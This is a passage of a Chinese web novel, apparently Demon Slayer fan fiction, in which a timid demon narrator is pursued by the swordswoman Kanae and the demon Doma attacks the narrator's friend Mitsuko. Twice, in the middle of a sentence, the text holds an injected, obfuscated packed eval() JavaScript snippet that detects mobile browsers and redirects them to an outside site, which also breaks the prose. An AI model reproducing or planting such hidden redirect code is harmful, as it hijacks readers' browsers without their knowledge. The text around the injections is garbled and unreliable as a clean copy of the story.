“干嘛呀!”你气得大叫。就知道她是骗人的,骗人的! 香奈惠也有些吃惊。 “就这么放弃挣扎了吗?”她道,“我还以为你要多抵抗一阵呢。” “啊啊啊!你个混蛋啊!” 你怒从心头起,恶向胆边生,抄起桌上的镇纸就砸了出去。 唰—— 她抽出腰间的刀轻轻一挥,沉重的玻璃镇纸一分为二落在地上,光滑平整的断面折射出耀武扬威的光,刺痛你无能的双眼。 香奈惠收好了刀,周身淡粉色的剑气似乎才在视野里消退。 你咽了口唾沫,乖巧地在地上坐好。 “您是要问什么问题吗?”你听到自己谄媚地说道,“请问吧。” 45.第 45 章 香奈惠把你从地上拉起来。 她上下打量着你:“这样看起来确实不高啊,你原本就只有这么点吧?” 她嘲笑你矮,还摸你的头! 你又要爆炸,看看她腰间的刀忍下来。 长得高了不起呀,我想长多高有多高,你能吗?只是在家没有社交压力,我犯不着美颜、P身材罢了。你精神胜利法。 “果然,”她说道,“你住的地方就在这附近吧。” 你立马蔫了。 “我猜得对吗?”她笑。 “我可以马上搬家。”你反击。 “但是你一看就是那种,会把周围收拾得舒舒服服,然后就不动弹了的类型呢。” 又、又说准了! 这些年和黑死牟住在这个小镇上,你像栽种一棵植物把自己的根系深深扎进去。丢下一切逃走,无异于连根拔起,不到万不得已很难舍得这样做。 但是,如果这个人造成的麻烦远远超出维持现有生活要付出的成本,你也会毫不犹豫搬走的。 你决定闭嘴,不泄漏任何信息,看她怎么办。 香奈惠放开你,四下环顾起来。 “布置得很用心呢,就这么逃走的话,不会心疼吗?”她表情随意,话里的内容却不是那么回事,“而且,你逃得掉吗?” 你心下一紧:的确,那一晚你在她面前暴露了太多个人信息和社会关系,这些东西是隐藏不掉的,总有一条能让她揪住,一次次从茫茫人海中锁定你。除非你能销声匿迹,断绝一切,在她有生之年都不再露头。这怎么可能呢? 现在起,躲避她的代价已经高到了一个离谱的程度,几乎就是你来到这个世界后一砖一瓦构建起来的全部。 你感到窒息,她却浑然未觉,饶有兴致地参观起来。 “这是尺八,你会吹吗?”她拿起教室后头孩子们的乐器。 “会一点。”你勉强答道。二十一世纪廉价、普及度高的学生乐器竖笛在此时属于舶来品,你只能自学尺八来教孩子。 “我有个朋友也会,不过他吹得不好。”香奈惠放下笛子,表情严肃起来,“我注意到白天的学生没有超过八岁的,这些尺八也没有成人型号。” 你不知道她想说什么,也不敢沉默,只道:“看得挺清楚,在这儿一天了吧?” “嗯,一天了,你都没有发现。” 你给堵得慌,简单解释道:“七岁以上的孩子就可以做童工了,他们当然不会来这里。” 其实七岁以下也能做童工,但你办了这个班后,一些爱孩子的父母更愿意把他们送你这里。虽然不能增加收入,总比小小年纪就受苦强。 不过学习班的小孩大一点儿了自己就不愿待了,更想到工厂里挣钱。你想要改变这种现状,但始终没有头绪。 香奈惠停下来。 “真是出乎我的意料,”她说,“你一直出乎我的意料。” 你在说到这一显而易见的事实前,流露出的是同情而不是遗憾。 尽管渴望和鬼交流,梦想寻找一条可以和平共处的道路,但香奈惠并不天真。在数年的刻苦训练和杀鬼生涯中,她早已建立起对鬼的基本认知。 战斗前的刻毒嘲讽,败北后的疯狂诅咒,这两样是她实现目标途中得到最多的回应。鬼是变形的人,也是以人为食、践踏人类的天敌。 人鬼之间天堑般的对立,在同类相食开始的那刻就存在了。想要跨过它,只靠一方的祈求是不可能实现的。 所以,她独自来到这里。 “所以你到底想问什么?”你有点儿不耐烦了。这个人一只手已经卡在你的命脉上,她不觉得自己那所谓的平等交流其实并不存在吗? 不过,为了小命考虑,你选择顺着她说话。心里已经决定了,她要是有什么过激的举动,就是冒着被读心的危险,你也要摇人。 她看向桌子上被墨染脏的纸:“原来你是信佛教。” “没有。”这个回答干脆利落。 她一张张地翻看:“那我想不出来你放过我们的理由了。” “这要什么理由,”你小声道,见她看过来立即改口,“那是因为你们也没把我怎么着啊。” 虽然那个不死川实弥老用看死人的眼光瞪你,但他手都没挨你一下。至于香奈惠,你确信她把你摁在墙上的时候真的动了杀心,但最终不也是没下手吗?而且他们杀了那个怪物,那就等于是救了你们所有人。 综合看下来,他们是对你有恩啊!怎么能对恩人刀剑相向呢? 香奈惠看着你:“说实话。” 你的腹稿就此作废。 “好吧,”你苦恼地掀起刘海儿,“实话是……” 不想看到死人,不想看到黑死牟去杀人,仅此而已。 别的理由并不为假,只是当心中翻涌的只是这一点。你就这样告诉她了,说完,陷入长久的沉默。 她也有一阵没说话。 “问题我已经回答了,你可以走了吗?” 小镇的街道上,你累得气喘如牛。 “这和说好的不一样!你怎么还不走?” “我们没有说好啊,”香奈惠笑眯眯道,“我说的是‘那就看你跑得有多快了’,记起来了吗?” 话虽如此,但这不是要让你的意思吗?干嘛跑这么快呀?犯规! “是你太慢了,”她一边跑一边说,语调平稳,丝毫不喘,“你是我见过最慢的鬼了,就这点儿实力吗,不会还在隐藏吧?” 咚!你笔直地栽倒,和地面来了个亲密接触。 香奈惠愣住,跑出去好一段才回过神再跑回来:“你真的摔倒啦?” “那不然呢?”你怒吼,“天这么黑我看不清路,你又跟屁股后面赶这么快,被绊了不摔倒才奇怪吧!” 全身火辣辣的痛闪闪就过了,但嘴啃泥的屈辱感持续发酵,你快被她气死了。而且,你发觉她又在用那种审视的眼光上上下下地打量你了,太过分了! “你走平地上也能摔?这只是块小石子,称不上绊吧,”她想不通,“我还等着你跳到那边的树上逃走呢。” 你气到吐血,自己默默咽回去。 “少女,知道我这辈子,不,两辈子的巅峰是多少吗?” “多少?” “八百米三分二十。”中考体育满分,你的荣耀之光,余生再无可能复制的成功,转世也忘不了。 “八百米?什么样的八百米,负重跑、翻山越岭还是机关陷阱?” 你又要吐血了,在她神奇的滤镜下你究竟是个什么形象,可以列入世界未解之谜了。 “八百米就是普普通通的八百米,学校操场跑道跑两圈,给我停止你的想象啊!” 还打算甩掉她跑到一个有电话亭的地方,告诉黑死牟你去看星星看月亮思考诗词歌赋和人生哲学今晚不回家了。现在看来,真的是太乐观了。你趴地上欲哭无泪。 香奈惠噗嗤一声笑出来:“那你好弱啊。” 你:“……” 要不是打不过……你又咽了一口血。 “真的好弱。”她低声重复,看着你,陷入沉思。 这么弱,连藤袭山上只吃过一两个人的鬼都比不过,强壮一些的人类都可以拿起武器把你干掉了吧。是怎么活到恢复理智躲进人群的那天呢? “你就准备这么活着了吗?”她突然灵魂发问,“往后一点打算也没有吗?” ??? 你满脑袋问号。 你怎么会没有打算呢,学习目标才落实了一半,你还想再学一门语言,多接一点稿子,帮忙给杂志冲一下销量,学习班的资助也拉到了,教室改造、扩建该提上日程了…… 总之,你生活充实着呢,计划排得满满当当,但是—— “这和你有什么关系啊?” 做人,自我意识不要太过剩! 香奈惠好像没有听见,继续拷问你的灵魂:“你这样子,待在上弦之一身边很辛苦吧?它为什么豢养你,因为你的血吗?要不要跟我走?” 你甩开她的手爬起来,拍身上的灰:“不要。” “担心我不能从上弦一手里带走你的话,鬼杀队还有很多实力强大的柱,我们一起上未必不行。” 开什么国际玩笑,她不会认真的吧? 你急了:“说不要就是不要,你听不懂人话?” “决定了,现在就带你走。”她钳制住了你的双手,把你整个人扛起来。 !!! 破案了,她真听不懂人话。你奋力挣扎起来:“放开手,我要喊人了,救命,救命啊!” “继续喊啊,高声些。” “你、你、你,闲得没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175975|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事干吗?” “我当然是有任务才来这里的,这里这么近,顺道就来了呀。” 什么?你一下子僵住了。 已知:第一,香奈惠是斩妖除魔的;第二,她来这里是执行任务的。那么,结论:这里有妖魔鬼怪。 “啊啊啊啊啊!”你八爪鱼一样缠在她身上,“鬼鬼鬼,哪里有鬼?快把它弄掉啊!” “……” 香奈惠无语,她把你从身上扒拉下来:“请放心,现在方圆一公里内,就你一只鬼。” 你吃惊地瞪着她:这叫什么话!一公里咋啦,那不是比八百米就多个二百?你这种弱鸡都只跑三分钟多,换做鬼不是噌噌噌就来了吗? “我、我不管,赶紧弄掉啊!你不是干这个的吗,我可以付双倍报酬,三倍也可以!” 她再一次把你扒拉下来:“对呀,我就是干这个,专杀你这种鬼。” 你手僵脚僵地停住了。 开玩笑的吧…… 脑子飞快地活跃起来:虽说人鬼殊途,但不是也有很多和谐相处的正面案例吗?像《暮光之城》啦、《吸血鬼日记》啦……你为这些作品发出的傻笑还有流下的傻缺眼泪,不正说明了一切皆有可能吗? 虽然命运把大家安排在了食物链不同的位置上,但同为有语言、能沟通、长相也类似的智慧生物,又不危及生命,不应该携手共进吗?怎么可以不分青红皂白,见面就打打杀杀! 你出离愤怒了:“放开我,救命,救命啊!” 香奈惠微笑:“还请再次放弃挣扎吧。” “我不要!” …… “夫人!”一道光射过来。 光子提着灯吃惊地瞪大眼睛:“您怎么在这里,这位是谁?” 香奈惠还是一个人走了。 走之前,她把自己的联系方式写在纸上硬塞进了你手里:“这个地址永远有效,想明白了就联系我。” 你捂着胸口有气无力地靠住光子,由衷地道谢:“太感谢你了。” 要不是她大喊着“我这就去找黑死牟先生”,你估计是脱不了身了。 “夫人,”光子担忧地问道,“那人是谁啊,您确定没事吗,要我再叫些人来吗?” “不知道从哪儿冒出来的怪人,别理她。”你撕碎了纸,“没事,真的,就陪我走到家门口吧。” 回到家,你飞快换下沾了泥的脏衣服,冲水洗手,让自己镇定下来。但是不行,心脏扑通扑通地跳,就像每次预感大事不妙时那样。 完了,完了,下次不会就是她带着一群人一起上了吧? 你手一抖,水溅出来。黑死牟拧紧水龙头。 “再洗手就破了,”他说,“是碰到什么事了吗?” 你接过他递来的毛巾,擦干净手,抱住他,脸埋进他的胸口。 “没有。” 你在说谎,呼吸和心率加速,肢体僵硬,不敢看他的眼睛。黑死牟没有戳穿,弯下腰靠在你的耳侧。 几次深呼吸后,你让声音不那么发抖:“我们再出去玩玩吧。” “好。” 盂兰盆节,来源于佛教,是日本一年中继元旦之后第二重要的节日。各处都会在这天放假,人们返回家乡团聚在一起,举行仪式送别亡魂、祭祀祖先。 虽然你们都没有祖先要供奉,选在这样一个节日前出游还是非常奇怪,但黑死牟没有任何疑问。 你被突然涌出来的愧疚淹没,拥抱得更紧。 这样是解决不了问题的,你懂,只是现在就想像鸵鸟一样把头钻沙子里装作无事发生。 黑死牟轻抚着你的后背。 十五日夜,传说中广度幽冥救赎饿鬼的日子*。满月清冷的光辉洒在河面上,你和他远远地看着那里飘荡的灯火,携手离开了小镇。 没有异乡人的风景区在团圆的夜里显得有些空荡,你们随便在路边的神社拜了拜,就往美景更深处走去了。 在这不属于孤单之人的时刻,有人同样准备出发去赴有情人的约会。童磨接起电话很可爱地向那边抱怨: “是因为和好朋友黑死牟闹别扭了才不方便过去的,那就麻烦光子你来啦……对吧、对吧,超过分的!我只是逗留在他附近,又没干别的,以前他也对我做过一样的事啊,怎么生那么大气……好的,我们说好了,回头见。” 46.第 46 章 光子放下电话,挨个亲亲猫,锁好门钥匙放花盆下面,回到家中。 婶娘像往常一样眼皮懒得抬一下,等她把钱放桌子上,才赏光似的露出点笑影,节日的气氛不能让她稍加一点宽容。 也对,那是一家人的节日,本来就和她没什么关系。就算同姓青木,他们也不会因此多出什么家人情意。 用过饭,叔叔婶婶还有堂兄们围坐在一起制作供奉用的祭品,光子自觉地打下手,帮忙切好蔬菜瓜果。期间,婶娘咳嗽、捂嘴,眼风不断地扫到旁边丈夫的身上,男人头越来越低,只顾编着手里的稻草,婶娘脸色变得难看。 光子只当没看见,活儿全干完才回到房间。拉上纸门的时候,听到叔叔压得又低又急的声音:“她不是有男朋友吗?” 他们想干什么,光子并不关心。每天她只有这么一会儿独享房间的时刻,必须要珍惜。而且,她已得到了最好的消息。 光子从怀里取出一封信小心翼翼地压在席子下面,这是你走之前交给她的,上面“盐与光”的花押散发出墨香。那里已经有了不少类似的信笺,但这一封仍是特别的。 跟着你学会写字后,她一直有额外的收入,即使被婶娘拿走大部分,也能攒下钱了。曾经以为遥不可及的目标,正在一点点实现,她已经很满足了,谁料还会有更好的事发生。 光子把席面抚平整,手压在胸口想让那里也平静一些,但笑抑制不住,从嘴角爬上眼睛。她俯下身头埋进膝盖,小声地笑起来。 去大城市工作会不会很难呢?虽然你鼓励了很多,光子还是有些害怕,她家祖祖辈辈在这儿生活,只有五十多年前一位姑婆逃婚去了江户。直到今天,长辈们偶尔还会提及她,吓唬小姑娘们她已堕落。 什么是“堕落”,光子不太清楚,但她依旧记得自己还是个孩子的时候,听到这个词就会隐隐地兴奋起来。大人们之间心照不宣的暗示、含糊其辞的恐吓与眉宇间数十年不曾褪色的恐惧,让她明白,这其实是一种心悦诚服的褒奖。 光子从那时起向往不一样的生活,和早逝的父母不一样,和叔叔婶婶不一样,和这座沉闷小镇上大多数人的生活都不一样。 那样的生活应当像是,夫人那样。 记不清是哪一天,她这样对你说了。 你似乎是感到好笑,反问回来:“我这样的生活是什么样的呢?” 光子说不上来:“就是……不一样的生活?” “但我刚好就是那种不管到哪里都要过同一种生活的人呢,任何不同的地方我都要想办法改造得和从前一模一样。” 你的回答令她泄气,同时迷茫:如果不是勇敢地去接纳未知和变化,人要怎么改变现状变得不同呢? 她没有再问,你已安慰似的告诉她:“普通人的生活都是如此,被无数的琐碎填满,也流淌在其中。” 可是,就算人生注定只是一团琐碎,光子也希望它能由那些类似于你的琐碎填满。 她想生活在一座简约漂亮的小屋里,就像你的这一间;想要做一份喜欢的工作,像你翻书页时露出开心的笑容;想要在闲暇时到处玩,想要和爱的人有一个美满的家庭……她天马行空的想象唯独在这里遭遇了滑铁卢。 黑死牟先生在光子的印象里只是一道暗淡的影子。按理说,不该是这样的。虽然先生很少出现在她面前,但实际共处的时间几乎和夫人等长,而你们又是那样般配的一对。 但是——光子说不上来为什么,你对她而言无限鲜活饱满的日常却愈发烘托出另一个人的失色。黑死牟用小镇居民没有见过的温和、柔软体贴着自己的妻子,但即使在你们最愉快的时刻,也有着什么朦朦胧胧地隔在两人之间。 她曾经以为不会有夫妻比你们更好了。她的父亲即使到了缠绵病榻的时刻也不忘对母亲颐指气使,直到她的生命力也耗尽,叔叔则笨拙木讷终日看婶娘的脸色行事。你和黑死牟的相处模式简直是另一个国度里的神话。 她不止一次听到过镇上的人们凑一起嚼着舌根,说你这样女人谁娶了谁倒霉,背地里肯定是挨丈夫揍的,说完发出刺耳的哄笑。光子远远地躲开,心想:这些人懂什么,你们才不是这样的呢。 那你们是什么样的?她发现自己形容不出来。或许就是因为这个,她缺乏参考的蓝本,无法构想出自己的家庭生活。 男朋友童磨是一个不错的人,虽然有点玩心重,但为人大方、随和,待她不错,外在的身家、长相也是十足的优秀。任谁来说,这都是一个无可挑剔的好对象。他们在一起的时候,也很快乐。 直到目前为止,他唯一的不好只是莫名失联了一个多月,这点他也诚恳地道过歉了。再斤斤计较,反而显得她不对。 光子叹了一口气,梦幻的笑容从脸上消退。 “如此完美的男朋友,找到就该烧高香了”,所有人都对她这么说。 但是,光子偏偏在他身上感到了,你和黑死牟之间一样的隔膜,而且加倍的严酷、冰冷。每当他专注的神情、动人的情话撩起爱情的甜蜜时,那层隔膜就出现,阻断她心底的涟漪泛到更深处。 为什么会这样,光子想不明白。 还是等见面了再好好说说吧。 你和黑死牟沿着东京周围的镰仓、箱根、川越玩了一圈,行程之顺利,让你怀疑上次频频翻车全是出门没看黄历的结果。 是的,你近来非常的迷信。每天都要看看是大安、先胜还赤口,有什么不详的征兆就绕路,拿三个硬币抛着占卜,神神叨叨的样子让黑死牟为之侧目。 “没必要这样吧。”他说。 “要的,要的,必须这样。”你连抛几次,得一个坤卦,才放心地拉着他走向下一个路口。 黑死牟懂什么,这个世界都有脖子上三颗头肚子里一颗头的怪物从窗户爬进来吃你了,什么样的妖魔鬼怪不会有?投入玄学的怀抱也很正常吧?谨慎一点又没有错! 你现在只恨自己学艺不精,没把导师的绝活儿学到手。想当初,你代表学校出去参赛紧张得不行,她拿牙签当蓍草,一通大衍筮法算下来微微一笑:“放心去吧。”你就赢了个一等奖回来。 他从善如流:“那我们接下来怎么走?” “君子有攸往,先迷后得主,利;西南得朋,东北丧朋。来,这边左转。” “好。” 你们拉着手在星空下走来走去,不做什么,心里也感到宁静和满足。一起走到天边泛白,就随便找家店躲进去,透过拉起的格子窗看到启明星闪出碎金子一样的光,西沉的月亮像块半透明的糖,浸在流水般淡蓝的天色里。 你扶在帘钩上的手软软地滑落,窗子当地落下来,微凉的夜色在房间里缓缓涨潮,浸透衣服下战栗的身体。你半阖着眼喘息,头发散开,汗湿的掌心在他的肩头不住地打滑。 “黑死牟。”你叫他。 “嗯?” “你还记不记得是从什么时候起开始爱我的?” 他撑着手臂,颔首似乎在思考,发红的长发垂下来,扫到你身上,随着起伏的节奏擦在布料上窸窣作响。 “我想不起来具体是哪天了。” 你有些委屈地鼓起脸颊,但想到自己遗忘得更加彻底,好像没有立场逼迫他一定要说出个年月日来。 “但是,我记得很清楚……上一次,我感到爱你的时候……你可能不知道……” “是什么时候?”他俯下身,沿着你的发际、额头、耳廓往下吻。 “……那天,你练剑的时候,记得吗?很小的一件事……有一刀,好像是挥慢了,或者哪里不对,我看不明白,但你一下子就停住了……” 你扬起脸,接住他细碎的吻:“记起来了吗?” 黑死牟不高兴地加重力道,你吃痛闪躲。 “我的刀大部分时候都是完美无缺的,那是意外,快忘掉。” “那……不是我要说的,我要说……当时我正好在窗户边,你就转过头来看着我,”你抚摸着他的脸,“对,就像现在这样,原来你想的是这个吗?那时,你那样看着我,真像一个小孩子。” 你幸福地看着他他:“你永远不知道那刻我有多爱你,我好像看到你只有六七岁,收起刀也这么看着我。我是见过六七岁的你的,对吗?” 你疼得倒吸口冷气。 他不说话,沉沉地压上来。 原本,你有很多的疑虑、忧惧,不知道该怎么告诉他那些水面下的危险,说服他你们必须搬家,而且这也只是权宜之计。但现在,这些都可以靠后,你忘掉所有的不快,安心地陷入到他一切激昂的情感中。 一不留神,又是好几天过去了。 你穿好衣服气得锤他,黑死牟乖乖挨揍,眉毛都不动一下。你更生气了。 这就是色令智昏啊,差点误事! 你气乎乎地洗漱,他帮忙撩起脑后的碎发,等披上羽织外套才放下来,问道:“今天去哪里?” “社长给我回消息他录用光子了,今天是最后的面试。我不放心,去看看。” “要我陪你吗?” “不用了,”你夹好发夹,“我们在国立博物馆门口见,上次没去成呢。” 东京可是无惨打探消息时的常驻点,和黑死牟一起就有概率被拉壮丁,你是绝对不愿意再体验一回了。 “好。”他送你到门口又拉回来,捧起你的脸,亲吻落下。空气重新变得粘稠,你踮起脚尖,一下一下给予回应。 “不要太久。”又一次亲吻分开,他低低地说。 你心中突然涌出巨大的哀恸,难受到站不住,靠住他下滑。还好这只是很短的一瞬间,你缓过劲来,再亲吻回去。 “好。” 你还觉得不够,又补充道:“我们一会儿见。” 光子坐在餐厅里摇晃着杯子,里面的冰块哗啦啦的响,反射出水晶灯一样的光芒。 若是一个人,她是绝对不会进这种店消费这种饮料的。想到一会儿要掏出去的钱,光子一阵肉痛。 “再点一些啊,”童磨兴致勃勃翻着菜单,“这个,这个,还有这个,听说年轻女孩们都很喜欢呢。快点吧,我付账,点嘛、点嘛。” 他很可爱地撒娇,光子笑笑,心里却想叹气。 “你不喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181951|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点什么吗?”她问。 “我一会儿点杯酒,先看光子你啦。真的不想试试吗,很好吃的,机会难得啊。” 光子喝一口杯子里的气泡水,等那股带点涩的味道散掉才说:“这个就够了。” 这是菜单上最便宜的。 “好吧,既然是你的选择。”童磨合上菜单放到一边,“刚才我们说什么来着?” “我找到了新的工作。” “对,是这个!什么工作呢?” “……杂志社编辑。” “听起来好有意思,能和我具体说说吗?” 光子低头再喝一口水。这种感觉又来了,每次和童磨在一起的时候,他们好像开开心心说了很多,又好像什么也没有。 “我喝完了,走吧。”她把钱放在桌子上。 “哎?不再吃点了吗?让我来付账吧。”嘴上这么说,童磨没能成功抢过光子,听话地走出餐厅。 一出门,风拂过,光子裹紧了外套。初秋的傍晚,天气已有了凉意,街上的行人明显变少。 应该不是错觉,他提及食物还有“好吃”一类的词语时,目光在她的胸腹之间一扫。那种奇怪的感觉又来了,不过光子懒得去想为什么了。 “工作内容就是帮忙审稿、改稿吧,我打算……”说这些做什么呢,他也没在听吧,光子突然就不想铺垫了,“我们分手吧。” “嗯?” “这些天,我是指你不在的这段时间里,我一直在想,”光子低下头,她以为自己会纠结到最后一刻,没想到说出来这么轻松,“我一直在想我要的是什么,现在我明白了。” 她勇敢地看向童磨:“我想要成为‘处处自由的人’,但你时刻让我感到束缚。” 那些令人头晕目眩的甜言蜜语,充分满足虚荣心的小礼物,浪漫的约会,别人或羡慕或带着酸味的凝视……这些都曾带给她快乐。但是,快乐如此短暂,它们消散过后,徒留惶恐与疑惑。 他那样的人为什么会看上我呢?这个问题时刻折磨着她,让她不由自主变得谨小慎微,变得想要讨好他人。她用语言修饰自己贫瘠的经历津津乐道地把它们奉上,对面的人只是挥挥扇子,挡住后面意味不明的笑。 光子很挫败,她不喜欢那样的自己,却在很长一段时间里停不下来。今晚,一切总算可以结束了。 她等着童磨给出反应,故作潇洒的大笑,或恼羞成怒的攻击。然而都没有,他合起扇子敲着手心。 “刚好,我也有些厌倦了,”他说,“那就在这里吃掉吧。” 他在说什么?光子愣住,不敢相信自己的耳朵。 “花之呼吸·四之型·红花衣。” 粉色的锋刃撞上金色的扇面。 “傻孩子,快跑啊!”香奈惠挥刀再挡下一次进攻,“你身边这位,可是真正的食人恶鬼。” 光子脑瓜嗡嗡的,在完全超出理解能力的场景前彻底失声。 金属的碰撞,身影急速的交错,她在梦中也不会有如此离奇的画面。 这、这是……在干什么? 再一次,童磨挥洒出的冰晶撞碎,飞溅到脚边,香奈惠焦急地提高声音示警,光子如梦初醒,手忙脚乱地爬起来往巷子外面跑。但因为童磨的步步紧逼,每次都被堵了回来。 有人在吗?这里还有没有人?不管是谁,来帮帮我们啊! “打扰别人进食,真是不礼貌,”童磨含笑展开两把扇子,“不过,换做是你的话,也是可以接受的呢。” 香奈惠咬咬牙,握紧了刀。刚才第一下,他们之间巨大的实力差距已显露无疑。这种近乎绝望的压迫感,之前只在上弦之一身上感受到过。也是上弦的鬼吗? 和黑死牟那简单直白、不容辩驳的强大不同,对面是另一种波谲云诡的深不可测。强度虽比不上,但那副嬉笑的外表下流露出无边的恶意,同样让人喘不过气来。 “听着,”她压低声音对身后的人道,“待会儿,我会想办法制造出一个空档。你只有这一次机会,必须逃掉,知道了吗?” 光子气喘吁吁:“我认出来了,你是、你是那个……” 纠缠夫人的家伙! “这两天我找不到她,只能先跟着你。看来,这个决定没有错。”香奈惠迎刃冲上去,剑光劈开空气中炸开的莲花形冰芒,不断逼近寒气的中心。 “二之型·御影梅!” 连续发动的斩击以持刀人为圆心发散,是花之呼吸里攻防一体的剑招。 童磨笑意盈盈翻转手腕:“夜还很长,就陪你们玩玩好了。” 光子看看香奈惠,再看看童磨,咬牙低头冲出去。 “那可不行,两个人一个都不能少哦。”他摇着扇子,蔓莲华的冰藤蔓探出来,飞速向光子的背影延伸! 香奈惠大惊,急匆匆地变换剑招,去看空中飞舞的藤蔓,刀劈上的瞬间,右手冻结。 光子没命地逃着,那锁魂的触手一步不离,爬上她的裙裾,眼看着就要环抱住她的腰—— 你一拳砸上去,冰晶爆开。 “童磨你个混蛋,给我住手!” 47.第 47 章 我以我的良人为一袋没药,常在我怀中。——《雅歌》 “哎?是你啊。”他盘腿坐在冰雕的莲座上,姿态优美犹如悲悯的菩萨,“但就算是你,也不能打扰我吃饭吧?无惨大人在这里,也只会说是你没有礼貌哦。” 他歪歪头,看着你:“你说呢?” 光子在身后尖叫,你一把捂住她的嘴,免得她吸进空气中的白雾。你直觉感到那些东西不好,很不好。 大半街道已落满了碎冰,气温骤降,光子开始瑟瑟发抖。你脱下外套披在她身上:“快跑。” 她含泪摇头:“您呢?” “太感动了,我都要哭了,”童磨夸张地擦擦眼睛,“人物全部登场,这就要看到结尾了吗?一切都是天意的安排,我明白了。” 刀尖穿透了他的胸膛。 香奈惠跃到他背上,全身都在使劲儿,日轮刀整个没入,切开他的脊柱、肩胛,缓慢拉向脖颈。 童磨吐出了一口血。 “差点儿忘记你了,”他回头,清透的彩虹眼晶晶亮,“你还能呼吸吗?” 香奈惠僵住,上半身结满了冰花。 你狠心推一把:“给我跑!” 光子一个趔趄跌跌撞撞冲出几步,你已撸起袖子冲刺:“说了给我住手啊!” 空气里未散的冰晶刮在脸上,割出细细的血痕,转眼间消失不见。童磨扔下香奈惠,嗅闻着,迷醉地眯起眼睛。 “只有一点点味道的话,简直是助兴啊。黑死牟阁下也会这样划开你吗?小姐你一直这么美味,我迫不及待要品尝了。” 他探出舌尖舔着嘴唇,你浑身恶寒,想刀他的心再也压制不住了。 “啊啊啊,你个变态,给我滚啊!”你喊到气闷,肺泡坏死又新生,脸都发青了。 他伸手轻松制止你挥舞的拳头,尖利的指甲划开刚愈合的伤口,转动着刺得更深,染上你血液就要往嘴里送。 “真是的,要不是他太过小气,我早就吃到了呀。” 唰!剑光一闪,他的两只手齐齐落下。香奈惠摇摇晃晃,接住摔落的你。 童磨面色一沉,断肢一秒重塑。他扬手握住刀锋,硬生生把它掰断。 “真是不乖的小女孩,这是你该来的时候吗?” 香奈惠飞出去,咚的一声撞在墙上。 你披头散发,冷笑着站起来:“总算不装了,是吧?终于玩够了你那些可笑的游戏,要收网了。能不能告诉我,是什么突然让你没有耐心了呢?” 不等他回答,你已继续下去:“因为你已经发现,其实什么也看不到,对吧?多少幕悲剧在眼前上演,多少人极致的情绪在身边爆裂,你的心里都——空空荡荡。” 看着他急剧变化的神情,你痛快极了,狞笑着给他补刀:“以为簇拥在有感情的人中就能得到感情吗?学着别人,假装自己也会开心、愤怒、悲伤,会让你好受些吗?可怜的东西。” 童磨冰冷地瞪视着你,忽地咧开嘴,笑了。 “我可怜吗,小姐?”他亲呢地抱你上来,瞳仁上的“上弦·贰”浮现出来。 “在说什么呀,你才是这里最可怜的,黑死牟的玩物。”他爱恋地拨开你的乱发,摸摸你的唇瓣、鼻尖、眼角,手指游移在额角和后脑勺之间,然后插进去,搅动起来。 血液漫过头皮流淌下来,你痛得叫出声,脑子像烧开的水壶咕噜咕噜冒气儿。 “有一点,你说对了。我失去耐心,不想等了,现在就要看到结局。记得感谢我哦,可爱的小姐。” 你摔在地上剧烈地咳嗽,大脑像极速飞驰的列车,无数破碎的画面在窗口尖啸着倒退。你产生出类似晕车的感觉,恶心、反胃,全身翻江倒海似的难受。 童磨大概走了吧,这条街听不到有什么动静了。 香奈惠呢?你晕晕乎乎爬起来,寻找她的身影。一步迈出去,身体就重重地仄歪。 糟糕,脑袋有点不听使唤。它塞满了过量的图像和声音,没有空间用来处理肌肉反应了。 你走得踉踉跄跄,活像个醉鬼去找他没拿稳的酒瓶。 香奈惠躺在墙角,身体看着还算完整,没有缺少哪一块。你松了口气,摸向她的背部:“醒一醒,你还——” 你浑身僵住。 香奈惠,在流血。 血的香气在弥漫。她闻起来,好香。 黑死牟几个月前就说过,你已经在饥饿状态了。可是,你一直觉得还能再忍忍的,怎么会这样? 舌尖分泌出口水,沾湿唇角。你急不可耐地吞咽,半跪在香奈惠身前两股战战。 好想要……吃,她看起来,一定很……香…… 不行、不行,再这样下去,你要忍不住,咬她了啊。 口水流得更加欢畅,心却一再地跌进谷底。你想要后退,双腿像黏在地上一样纹丝不动。血味是最牢固的绳索,缚住饥肠辘辘的你,不得解脱。 你目不转睛瞪住她身上惊心动魄的血流,泪水涌出来。 黑死牟呢?我要去他那里,让我找到他。快,带我离开…… 一双手猛地攥住了你。 “要去哪里?”香奈惠睁开了眼睛,“很可惜,我的支援要到了。还是不肯跟我走吗?现在由不了你了。” 空中盘旋的乌鸦一只只落下,它们齐声叫着:“遇袭、遇袭!花柱蝴蝶香奈惠遭遇上弦之二。” 你恍若未闻,直勾勾地盯着她。 她状态似乎也不是很好,说话都累的样子,但始终不忘拖住你防止逃跑,嘴里喋喋不休地说着什么。 “那天,听到你的回答,我非常非常地生气,你知道的。我不明白,就算是鬼,怎么可以对食用人类的态度如此轻浮呢。但后来,我反复地回想那些话,就发现问题了。你是,从来都没有吃过人的,对吧?” 这个人在说什么?听不懂,你知道自己想吃她想得快疯了。 她翻身坐起,牵动伤口,血流得更多。你面目狰狞,不住地吞咽,赶不上口水分泌的速度。 记得大学那会儿,舍友节食减肥,躺在床上只喝水,一天只吃一个苹果,坚持了几天,终于鬼哭狼嚎地去觅食。她说:“我闻到你们身上都是饭香味,我受不了了!” 你现在也是那种情况吗?原本可以忍受饥饿,因为闻到了食物的香味,所以受不了了吗? 